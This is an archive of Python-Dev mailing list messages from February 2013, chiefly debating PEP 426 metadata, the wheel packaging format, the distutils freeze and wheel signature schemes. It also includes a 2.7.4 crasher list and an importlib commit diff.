Message-ID: <CADiSq7c5oDRRYG3VnPOmO1bLtWjsAS7GDHK0OD_AaTHk4Q1R_A@mail.gmail.com>

On Sun, Feb 3, 2013 at 10:48 PM, Antoine Pitrou <solipsis at pitrou.net> wrote:
> On Sun, 3 Feb 2013 12:34:36 +0000
> Paul Moore <p.f.moore at gmail.com> wrote:
>>
>> So it's perfectly possible to use wheels right now, without the pip
>> integration. But the pip developers don't want to integrate the wheel
>> format just because it exists - they want the assurance that it's an
>> accepted format supported by PEPs, hence the interest in getting the 3
>> wheel PEPs (of which the metadata PEP is the first) accepted.
>
> But it's an "accepted format" by whom? If we accept the PEP but refuse
> to integrate support in the stdlib, it doesn't make much sense.
>
> I vote for removing the "distutils is frozen" principle. It was already
> destructive enough when packaging was still alive - bug fixes were
> actively turned down for the dubious reason that fixing bugs would
> break compatibility. Its rationale has become completely obsolete now
> that packaging has failed.

The rationale for the distutils freeze is "don't break setuptools".
That rationale still holds.

The most likely current candidate for integration into Python 3.4 is
distlib, which, as was proposed when packaging was dropped, is built
incrementally as components are standardised, rather than being a
mish-mash of updated code and flawed design inherited from distutils.

Regards,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From solipsis at pitrou.net  Sun Feb  3 14:09:01 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Sun, 3 Feb 2013 14:09:01 +0100
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
In-Reply-To: <CADiSq7c5oDRRYG3VnPOmO1bLtWjsAS7GDHK0OD_AaTHk4Q1R_A@mail.gmail.com>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
	<20130203134853.098aadaa@pitrou.net>
	<CADiSq7c5oDRRYG3VnPOmO1bLtWjsAS7GDHK0OD_AaTHk4Q1R_A@mail.gmail.com>
Message-ID: <20130203140901.678b32b6@pitrou.net>

On Sun, 3 Feb 2013 23:08:04 +1000
Nick Coghlan <ncoghlan at gmail.com> wrote:
> On Sun, Feb 3, 2013 at 10:48 PM, Antoine Pitrou <solipsis at pitrou.net> wrote:
> > On Sun, 3 Feb 2013 12:34:36 +0000
> > Paul Moore <p.f.moore at gmail.com> wrote:
> >>
> >> So it's perfectly possible to use wheels right now, without the pip
> >> integration. But the pip developers don't want to integrate the wheel
> >> format just because it exists - they want the assurance that it's an
> >> accepted format supported by PEPs, hence the interest in getting the 3
> >> wheel PEPs (of which the metadata PEP is the first) accepted.
> >
> > But it's an "accepted format" by whom? If we accept the PEP but refuse
> > to integrate support in the stdlib, it doesn't make much sense.
> >
> > I vote for removing the "distutils is frozen" principle. It was already
> > destructive enough when packaging was still alive - bug fixes were
> > actively turned down for the dubious reason that fixing bugs would
> > break compatibility. Its rationale has become completely obsolete now
> > that packaging has failed.
> 
> The rationale for the distutils freeze is "don't break setuptools".
> That rationale still holds.

I'm sure it is perfectly possible to evolve and bugfix distutils
without breaking distribute. What's more, distribute is actually
maintained and can evolve to accomodate the fixes.

As for setuptools (as opposed to distribute), I don't think we should
care anymore.

Regards

Antoine.

From ncoghlan at gmail.com  Sun Feb  3 14:20:03 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sun, 3 Feb 2013 23:20:03 +1000
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
In-Reply-To: <CADiSq7erst6wmEkMXJB3wWc=HnHBOY2H_MoMTY_zqmjPqU8jFw@mail.gmail.com>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
	<CADiSq7erst6wmEkMXJB3wWc=HnHBOY2H_MoMTY_zqmjPqU8jFw@mail.gmail.com>
Message-ID: <CADiSq7c_c+5bdF_Dia1ZzXEF+h9ZpTU7DC5NmAbPm-Ah-9GdeQ@mail.gmail.com>

On Sun, Feb 3, 2013 at 11:04 PM, Nick Coghlan <ncoghlan at gmail.com> wrote:
> MvL raised this concern last time the wheel format was discussed, and, to date,
> nothing has happened to address it.

My apologies to Daniel, it appears I misremembered this part of the
previous discussion. Daniel assures me MvL was objecting primarily to
the use of one particular crypto algorithm (which was subsequently
removed from the PEP), rather than the use of JWS in general.

That said, my own concerns about relying on an Internet Draft (when
the IETF specifically say not to do that) remain. It just means
they're a new issue, rather than one continuing over from the previous
discussion.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From tseaver at palladion.com  Sun Feb  3 14:27:05 2013
From: tseaver at palladion.com (Tres Seaver)
Date: Sun, 03 Feb 2013 08:27:05 -0500
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
In-Reply-To: <20130203140901.678b32b6@pitrou.net>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
	<20130203134853.098aadaa@pitrou.net>
	<CADiSq7c5oDRRYG3VnPOmO1bLtWjsAS7GDHK0OD_AaTHk4Q1R_A@mail.gmail.com>
	<20130203140901.678b32b6@pitrou.net>
Message-ID: <510E65A9.90600@palladion.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 02/03/2013 08:09 AM, Antoine Pitrou wrote:

> I'm sure it is perfectly possible to evolve and bugfix distutils 
> without breaking distribute. What's more, distribute is actually 
> maintained and can evolve to accomodate the fixes.

I wouldn't be on that proposition:  there are a lot of burnouts down that
rabbit hole.

> As for setuptools (as opposed to distribute), I don't think we should 
> care anymore.

Yes, you need to care.  It is *still* true today that distribute and
setuptools remain largely interchangeable, which is the only thing that
makes distribute viable, in the ecosystem sense.



Tres.
- -- 
===================================================================
Tres Seaver          +1 540-429-0999          tseaver at palladion.com
Palladion Software   "Excellence by Design"    http://palladion.com
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.11 (GNU/Linux)
Comment: Using GnuPG with undefined - http://www.enigmail.net/

iEYEARECAAYFAlEOZakACgkQ+gerLs4ltQ5N7ACgv/v0GTs7xyQ7I/jvrcu/s2i5
kHcAoJUKigWKZTiVr1ARMLt2xtQF+TAL
=mjAm
-----END PGP SIGNATURE-----


From brett at python.org  Sun Feb  3 15:17:41 2013
From: brett at python.org (Brett Cannon)
Date: Sun, 3 Feb 2013 09:17:41 -0500
Subject: [Python-Dev] [Python-checkins] cpython (3.3): Issue #17098: Be
 more stringent of setting __loader__ on early imported
In-Reply-To: <3YyWrW1hC2zSTB@mail.python.org>
References: <3YyWrW1hC2zSTB@mail.python.org>
Message-ID: <CAP1=2W5Hi3LB=gmHaqgpCkywLYz+a3aTvVmZQvB-omJCfxD0GQ@mail.gmail.com>

FYI, Raymond let me know that this is causing the buildbots to occasionally
fail thanks to xml.parsers.expat.errors somehow circumventing import. I'm
going to try and figure out what's going on.

On Fri, Feb 1, 2013 at 4:38 PM, brett.cannon <python-checkins at python.org>wrote:

> http://hg.python.org/cpython/rev/19ea454ccdf7
> changeset:   81884:19ea454ccdf7
> branch:      3.3
> parent:      81882:4a4688b865ff
> user:        Brett Cannon <brett at python.org>
> date:        Fri Feb 01 15:31:49 2013 -0500
> summary:
>   Issue #17098: Be more stringent of setting __loader__ on early imported
> modules. Also made test more rigorous.
>
> files:
>   Lib/importlib/_bootstrap.py         |    7 +-
>   Lib/test/test_importlib/test_api.py |    6 +
>   Python/importlib.h                  |  591 ++++++++-------
>   3 files changed, 310 insertions(+), 294 deletions(-)
>
>
> diff --git a/Lib/importlib/_bootstrap.py b/Lib/importlib/_bootstrap.py
> --- a/Lib/importlib/_bootstrap.py
> +++ b/Lib/importlib/_bootstrap.py
> @@ -1704,10 +1704,13 @@
>          BYTECODE_SUFFIXES = DEBUG_BYTECODE_SUFFIXES
>
>      module_type = type(sys)
> -    for module in sys.modules.values():
> +    for name, module in sys.modules.items():
>          if isinstance(module, module_type):
>              if not hasattr(module, '__loader__'):
> -                module.__loader__ = BuiltinImporter
> +                if name in sys.builtin_module_names:
> +                    module.__loader__ = BuiltinImporter
> +                elif _imp.is_frozen(name):
> +                    module.__loader__ = FrozenImporter
>
>      self_module = sys.modules[__name__]
>      for builtin_name in ('_io', '_warnings', 'builtins', 'marshal'):
> diff --git a/Lib/test/test_importlib/test_api.py
> b/Lib/test/test_importlib/test_api.py
> --- a/Lib/test/test_importlib/test_api.py
> +++ b/Lib/test/test_importlib/test_api.py
> @@ -184,6 +184,12 @@
>              if isinstance(module, types.ModuleType):
>                  self.assertTrue(hasattr(module, '__loader__'),
>                          '{!r} lacks a __loader__ attribute'.format(name))
> +                if name in sys.builtin_module_names:
> +                    self.assertEqual(importlib.machinery.BuiltinImporter,
> +                                     module.__loader__)
> +                elif imp.is_frozen(name):
> +                    self.assertEqual(importlib.machinery.FrozenImporter,
> +                                     module.__loader__)
>
>  def test_main():
>      from test.support import run_unittest
> diff --git a/Python/importlib.h b/Python/importlib.h
> --- a/Python/importlib.h
> +++ b/Python/importlib.h
> [stripped]
>
> --
> Repository URL: http://hg.python.org/cpython
>
> _______________________________________________
> Python-checkins mailing list
> Python-checkins at python.org
> http://mail.python.org/mailman/listinfo/python-checkins
>
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130203/9c8e9283/attachment-0001.html>

From benjamin at python.org  Sun Feb  3 15:38:39 2013
From: benjamin at python.org (Benjamin Peterson)
Date: Sun, 3 Feb 2013 09:38:39 -0500
Subject: [Python-Dev] 2.7.4
In-Reply-To: <kelm6l$dd5$1@ger.gmane.org>
References: <CAPZV6o8MsW1DTFf7r3Qvmw-to_AA4wob8_4gc_va7WjDVGevqQ@mail.gmail.com>
	<kelm6l$dd5$1@ger.gmane.org>
Message-ID: <CAPZV6o_oBsrUKmRe3T=mdXPwMUNYCM0B3WvZPBpXmeZB8y5MsA@mail.gmail.com>

2013/2/3 Serhiy Storchaka <storchaka at gmail.com>:
> There are crashers for which patches were proposed but do not reviewed yet:
>
> Issue #6083: Reference counting bug in PyArg_ParseTuple and
> PyArg_ParseTupleAndKeywords.
>
> Issue #7358: cStringIO not 64-bit safe.
>
> Issue #16137: Using time.asctime() with an array with negative tm_hour
> causes Python Crash.
>
> Issue #16686: audioop overflow issues.
>
> #8865 is reviewed but not committed.

Thanks. In the future, this should be raised to "release blocker"
priority to get my attention.

-- 
Regards,
Benjamin

From dholth at gmail.com  Sun Feb  3 15:41:29 2013
From: dholth at gmail.com (Daniel Holth)
Date: Sun, 3 Feb 2013 09:41:29 -0500
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
In-Reply-To: <20130203134853.098aadaa@pitrou.net>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
	<20130203134853.098aadaa@pitrou.net>
Message-ID: <CAG8k2+7aKSGWz1n6c3HvJeyMVd7b1VupegOf28HwtLcQ7gsDsw@mail.gmail.com>

The neat thing about wheel is that you can install them without having the
software used to build them. So we might try to provide a very simple wheel
installer script with Python that did not even depend on DistUtils. You
would be able to install pip etc with that tool. There is no need to put
wheel directly into DistUtils.
On Feb 3, 2013 7:54 AM, "Antoine Pitrou" <solipsis at pitrou.net> wrote:

> On Sun, 3 Feb 2013 12:34:36 +0000
> Paul Moore <p.f.moore at gmail.com> wrote:
> >
> > So it's perfectly possible to use wheels right now, without the pip
> > integration. But the pip developers don't want to integrate the wheel
> > format just because it exists - they want the assurance that it's an
> > accepted format supported by PEPs, hence the interest in getting the 3
> > wheel PEPs (of which the metadata PEP is the first) accepted.
>
> But it's an "accepted format" by whom? If we accept the PEP but refuse
> to integrate support in the stdlib, it doesn't make much sense.
>
> I vote for removing the "distutils is frozen" principle. It was already
> destructive enough when packaging was still alive - bug fixes were
> actively turned down for the dubious reason that fixing bugs would
> break compatibility. Its rationale has become completely obsolete now
> that packaging has failed.
>
> Regards
>
> Antoine.
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/dholth%40gmail.com
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130203/2bfbc4dd/attachment.html>

From solipsis at pitrou.net  Sun Feb  3 15:43:41 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Sun, 3 Feb 2013 15:43:41 +0100
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
In-Reply-To: <CAG8k2+7aKSGWz1n6c3HvJeyMVd7b1VupegOf28HwtLcQ7gsDsw@mail.gmail.com>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
	<20130203134853.098aadaa@pitrou.net>
	<CAG8k2+7aKSGWz1n6c3HvJeyMVd7b1VupegOf28HwtLcQ7gsDsw@mail.gmail.com>
Message-ID: <20130203154341.598b063c@pitrou.net>

On Sun, 3 Feb 2013 09:41:29 -0500
Daniel Holth <dholth at gmail.com> wrote:
> The neat thing about wheel is that you can install them without having the
> software used to build them. So we might try to provide a very simple wheel
> installer script with Python that did not even depend on DistUtils. You
> would be able to install pip etc with that tool. There is no need to put
> wheel directly into DistUtils.

But you still need to *produce* wheels, don't you? It would be more
useful for everyone if that facility was bundled with Python.

Regards

Antoine.

From p.f.moore at gmail.com  Sun Feb  3 15:51:45 2013
From: p.f.moore at gmail.com (Paul Moore)
Date: Sun, 3 Feb 2013 14:51:45 +0000
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
In-Reply-To: <CAG8k2+7aKSGWz1n6c3HvJeyMVd7b1VupegOf28HwtLcQ7gsDsw@mail.gmail.com>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
	<20130203134853.098aadaa@pitrou.net>
	<CAG8k2+7aKSGWz1n6c3HvJeyMVd7b1VupegOf28HwtLcQ7gsDsw@mail.gmail.com>
Message-ID: <CACac1F9MriHGRZJLbCiDhF3Q06PRVTBXi2rsU1nSwUP+g2L0pA@mail.gmail.com>

On 3 February 2013 14:41, Daniel Holth <dholth at gmail.com> wrote:
> The neat thing about wheel is that you can install them without having the
> software used to build them. So we might try to provide a very simple wheel
> installer script with Python that did not even depend on DistUtils. You
> would be able to install pip etc with that tool. There is no need to put
> wheel directly into DistUtils.

The other side of the equation, adding a bdist_wheel command to
distutils should *also* be simple. As command classes are essentially
independent code, it's not even really going to violate whatever
remains of the "distutils is frozen" philosophy.

Is there any mileage to submitting a patch to the Python stdlib that
implements a bdist_wheel distutils subcommand and a wheel installer in
the stdlib? I'm willing to write that patch based on Daniel's existing
wheel code if no-one else is willing to, but only if there's likely to
be some level of support from python-dev (for example, if Antoine and
Nick are in general agreement on the principle, I'd be willing to
write the code and we could see where the subsequent debate leads).

Paul

From ncoghlan at gmail.com  Sun Feb  3 16:33:29 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Mon, 4 Feb 2013 01:33:29 +1000
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
In-Reply-To: <CACac1F9MriHGRZJLbCiDhF3Q06PRVTBXi2rsU1nSwUP+g2L0pA@mail.gmail.com>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
	<20130203134853.098aadaa@pitrou.net>
	<CAG8k2+7aKSGWz1n6c3HvJeyMVd7b1VupegOf28HwtLcQ7gsDsw@mail.gmail.com>
	<CACac1F9MriHGRZJLbCiDhF3Q06PRVTBXi2rsU1nSwUP+g2L0pA@mail.gmail.com>
Message-ID: <CADiSq7d1rRJRp7Xm6WCKZ51q5ZLaOPxmPMudrdwj8=bfnuwJMg@mail.gmail.com>

On 4 Feb 2013 00:54, "Paul Moore" <p.f.moore at gmail.com> wrote:
>
> On 3 February 2013 14:41, Daniel Holth <dholth at gmail.com> wrote:
> > The neat thing about wheel is that you can install them without having
the
> > software used to build them. So we might try to provide a very simple
wheel
> > installer script with Python that did not even depend on DistUtils. You
> > would be able to install pip etc with that tool. There is no need to put
> > wheel directly into DistUtils.
>
> The other side of the equation, adding a bdist_wheel command to
> distutils should *also* be simple. As command classes are essentially
> independent code, it's not even really going to violate whatever
> remains of the "distutils is frozen" philosophy.
>
> Is there any mileage to submitting a patch to the Python stdlib that
> implements a bdist_wheel distutils subcommand and a wheel installer in
> the stdlib? I'm willing to write that patch based on Daniel's existing
> wheel code if no-one else is willing to, but only if there's likely to
> be some level of support from python-dev (for example, if Antoine and
> Nick are in general agreement on the principle, I'd be willing to
> write the code and we could see where the subsequent debate leads).

Adding a bdist_wheel command makes sense to me, and I agree it is the kind
of change that shouldn't cause setuptools any grief. The original trigger
for the distutils freeze was a ban on internal refactoring, so new features
that don't alter internal APIs should be fine.

My one real concern at this point is the signature scheme. We definitely
need one, so dropping it from the PEP isn't an option, but the choice of
JWS over S/MIME worries me. The two acceptable options I currently see are
to wait until JWS is approved by the IETF, or wait until an S/MIME based
wheel implementation is available. I'd love to be able to just accept the
wheel format as it stands, but absent a compelling pro-JWS story in the
PEP, it isn't going to happen :(

I'd also hold off on a wheel downloader for now, that side of things is
likely to be affected if/when distlib gets proposed for 3.4.
>
> Paul
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
http://mail.python.org/mailman/options/python-dev/ncoghlan%40gmail.com
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130204/4257bca3/attachment.html>

From barry at python.org  Sun Feb  3 18:08:41 2013
From: barry at python.org (Barry Warsaw)
Date: Sun, 3 Feb 2013 12:08:41 -0500
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
In-Reply-To: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
Message-ID: <20130203120841.6f807f2c@limelight.wooz.org>

On Feb 03, 2013, at 04:04 PM, Nick Coghlan wrote:

>- someone else volunteers to be BDFL-Delegate for PEP 426 (MvL, perhaps?)

On principle, I think it's a good idea to try to recruit another PEP czar.
I'm not volunteering though, due to lack of time.

Cheers,
-Barry

From merwok at netwok.org  Sun Feb  3 19:33:23 2013
From: merwok at netwok.org (=?UTF-8?B?w4lyaWMgQXJhdWpv?=)
Date: Sun, 03 Feb 2013 13:33:23 -0500
Subject: [Python-Dev] BDFL delegation for PEP 426 + distutils freeze
In-Reply-To: <20130203134853.098aadaa@pitrou.net>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
	<20130203134853.098aadaa@pitrou.net>
Message-ID: <510EAD73.7090406@netwok.org>

Hi,

I don?t have a problem with Nick improving the PEP and deciding on its
acceptance.

Le 03/02/2013 07:48, Antoine Pitrou a ?crit :
> On Sun, 3 Feb 2013 12:34:36 +0000
> Paul Moore <p.f.moore at gmail.com> wrote:
>> So it's perfectly possible to use wheels right now, without the pip
>> integration. But the pip developers don't want to integrate the wheel
>> format just because it exists - they want the assurance that it's an
>> accepted format supported by PEPs, hence the interest in getting the 3
>> wheel PEPs (of which the metadata PEP is the first) accepted.
> 
> But it's an "accepted format" by whom? If we accept the PEP but refuse
> to integrate support in the stdlib, it doesn't make much sense.
There?s a chicken and egg problem: python-dev could have waited a year
or two to see the wheel format being used and fixed/improved before
deciding to do something in the stdlib, but the pip maintainers wanted
an official blessing first.  Accepting the wheel PEP would mean that
python-dev and the community think wheels are an interesting way
forward, and after some time needed to find out what fixes and
improvements are needed, python-dev is ready to add stable, official
support in the stdlib.

(I know Daniel Holth is frustrated by the wait for what he sees as a
simple format that?s been stable since last year, but it?s really not
long for stdlib inclusion, and there *are* things to sort out.)

> I vote for removing the "distutils is frozen" principle.
I?ve also been thinking about that.  There have been two exceptions to
the freeze, for ABI flags in extension module names and for pycache
directories.  When the stable ABI was added and MvL wanted to change
distutils (I don?t know to do what exactly), Tarek stood firm on the
freeze and asked for any improvement to go into distutils2, and after
MvL said that he would not contibute to an outside project, we merged d2
into the stdlib.  Namespace packages did not impact distutils either.
Now that we?ve removed packaging from the stdlib, we have two Python
features that are not supported in the standard packaging system, and I
agree that it is a bad thing for our users.

I?d like to propose a reformulation of the freeze:
- refactorings for the sake of cleanup are still shunned
- fixes to really old bugs that have become the expected behavior are
  still avoided
- fixes to follow OS changes are still allowed (we?ve had a number for
  Debian multiarch, Apple moving stuff around, Windows manifest options
  changes)
- support for Python evolutions that involve totally new code, commands
  or setup parameters are now possible (this enables stable API support
  as well as a new bdist format)
- behavior changes to track Python behavior changes are now possible
  (this enables recognizing namespace packages, unless we decide they
  need a new setup parameter)

We?ll probably need to talk this over at PyCon (FYI I won?t be at the
language summit but I?ll take part in the packaging mini-summit planned
thanks to Nick).

Regards

From dholth at gmail.com  Sun Feb  3 19:57:39 2013
From: dholth at gmail.com (Daniel Holth)
Date: Sun, 3 Feb 2013 13:57:39 -0500
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
In-Reply-To: <20130203154341.598b063c@pitrou.net>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
	<20130203134853.098aadaa@pitrou.net>
	<CAG8k2+7aKSGWz1n6c3HvJeyMVd7b1VupegOf28HwtLcQ7gsDsw@mail.gmail.com>
	<20130203154341.598b063c@pitrou.net>
Message-ID: <CAG8k2+7rFBL-BVEMY_64xEyX+wkV-aK547ZXH+UYRz9T-9LPAA@mail.gmail.com>

My position is that these days distutils doesn't belong in the standard
library any more than Django does. So I am mildly opposed to supporting it
when you should be using better designed third party tools like Bento or
setuptools. Wheel makes it possible for Python to get out of the build tool
business. Just install your preferred tools with a concise bootstrap
installer.
On Sun, 3 Feb 2013 09:41:29 -0500
Daniel Holth <dholth at gmail.com> wrote:
> The neat thing about wheel is that you can install them without having the
> software used to build them. So we might try to provide a very simple
wheel
> installer script with Python that did not even depend on DistUtils. You
> would be able to install pip etc with that tool. There is no need to put
> wheel directly into DistUtils.

But you still need to *produce* wheels, don't you? It would be more
useful for everyone if that facility was bundled with Python.

Regards

Antoine.
_______________________________________________
Python-Dev mailing list
Python-Dev at python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe:
http://mail.python.org/mailman/options/python-dev/dholth%40gmail.com
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130203/3a05a32f/attachment.html>

From merwok at netwok.org  Sun Feb  3 20:06:57 2013
From: merwok at netwok.org (=?UTF-8?B?w4lyaWMgQXJhdWpv?=)
Date: Sun, 03 Feb 2013 14:06:57 -0500
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
In-Reply-To: <CAG8k2+7rFBL-BVEMY_64xEyX+wkV-aK547ZXH+UYRz9T-9LPAA@mail.gmail.com>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
	<20130203134853.098aadaa@pitrou.net>
	<CAG8k2+7aKSGWz1n6c3HvJeyMVd7b1VupegOf28HwtLcQ7gsDsw@mail.gmail.com>
	<20130203154341.598b063c@pitrou.net>
	<CAG8k2+7rFBL-BVEMY_64xEyX+wkV-aK547ZXH+UYRz9T-9LPAA@mail.gmail.com>
Message-ID: <510EB551.8050705@netwok.org>

Hi,

Le 03/02/2013 13:57, Daniel Holth a ?crit :
> My position is that these days distutils doesn't belong in the standard
> library any more than Django does.
You can install anything you want, but first you need an installer.  I
think that a language needs packaging formats and basic build and
install tools in its stdlib.  You can use different tools for
specialized needs or tastes, but I think years and years of frustration
show that people need a basic thing working out of the box.

> So I am mildly opposed to supporting it when you should be using better
> designed third party tools like Bento
Aside: can we keep the discussion civil instead of constantly bashing
distutils and heaping praise on one tool?  (It happened with
easy_install before bento.)  I?m the first one to recognize that
distutils has deep flaws, but I respect the time and energy that many
people have put into it.

> Wheel makes it possible for Python to get out of the build tool
> business. Just install your preferred tools with a concise bootstrap
> installer.
Looks like we agree that a basic tool able to bootstrap the packaging
story is needed :)

Regards

From ralf at systemexit.de  Sun Feb  3 20:08:48 2013
From: ralf at systemexit.de (Ralf Schmitt)
Date: Sun, 03 Feb 2013 20:08:48 +0100
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
In-Reply-To: <CAG8k2+7rFBL-BVEMY_64xEyX+wkV-aK547ZXH+UYRz9T-9LPAA@mail.gmail.com>
	(Daniel Holth's message of "Sun, 3 Feb 2013 13:57:39 -0500")
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
